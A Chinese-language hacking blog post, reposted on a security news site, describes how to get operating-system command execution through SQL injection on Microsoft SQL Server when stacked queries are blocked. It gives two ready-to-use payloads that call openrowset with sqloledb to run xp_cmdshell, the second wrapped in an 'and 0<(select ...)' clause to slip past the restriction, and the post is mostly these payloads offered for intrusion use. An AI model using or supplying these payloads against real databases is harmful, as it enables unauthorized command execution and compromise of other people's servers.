SQL注入不能多句执行时的一种突破方法

admin 2021年4月3日19:01:45评论32 views字数 731阅读2分26秒阅读模式

    SQL注入不能多句执行时的一种突破方法(SA权限

    有时候会遇到SA权限不能多句执行的情况,让人很蛋疼。前几天在搞一个SQL SERVER 7.0的PUBLIC权限时。某牛给我以下语句提权:

    select * from openrowset('sqloledb','dsn=locaserver;trusted_connection=yes','set fmtonly off exec master..xp_cmdshell ''dir c:''')

    本机测试成功。但实际环境中却出现[微软] [ODBC SQL Server驱动] [SQL Server中] OLE DB提供程序'sqloledb'无法创建一个接口 的错误。原因不明,还望哪位大牛解释。。

    虽然这个问题偶还没有解决,但今天遇到一个SA权限不能多句的情况(估计驱动问题,不解),让我蛋疼了一段时间。后来经过GOOGLE,发现SA权限还可以这样执行:

    and 0(select * from openrowset('sqloledb','dsn=locaserver;trusted_connection=yes','set fmtonly off exec master..xp_cmdshell ''dir c:'''))

    这样就绕过了多句执行的限制了。

文章来源于lcx.cc:SQL注入不能多句执行时的一种突破方法

相关推荐: 【文章】8.12 公开密钥的密钥管理 密钥加密

8.12 公开密钥的密钥管理     公开密钥密码使得密钥较易管理,但它有自己的问题。无论网络上有多少人,每个人只有一个公开密钥。如果Alice想传送一段信息给Bob,她必须知道Bob的公开密钥,这有以下几种方式:     ——她可以从Bob处获得。     …

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日19:01:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL注入不能多句执行时的一种突破方法http://cn-sec.com/archives/319656.html

发表评论

匿名网友 填写信息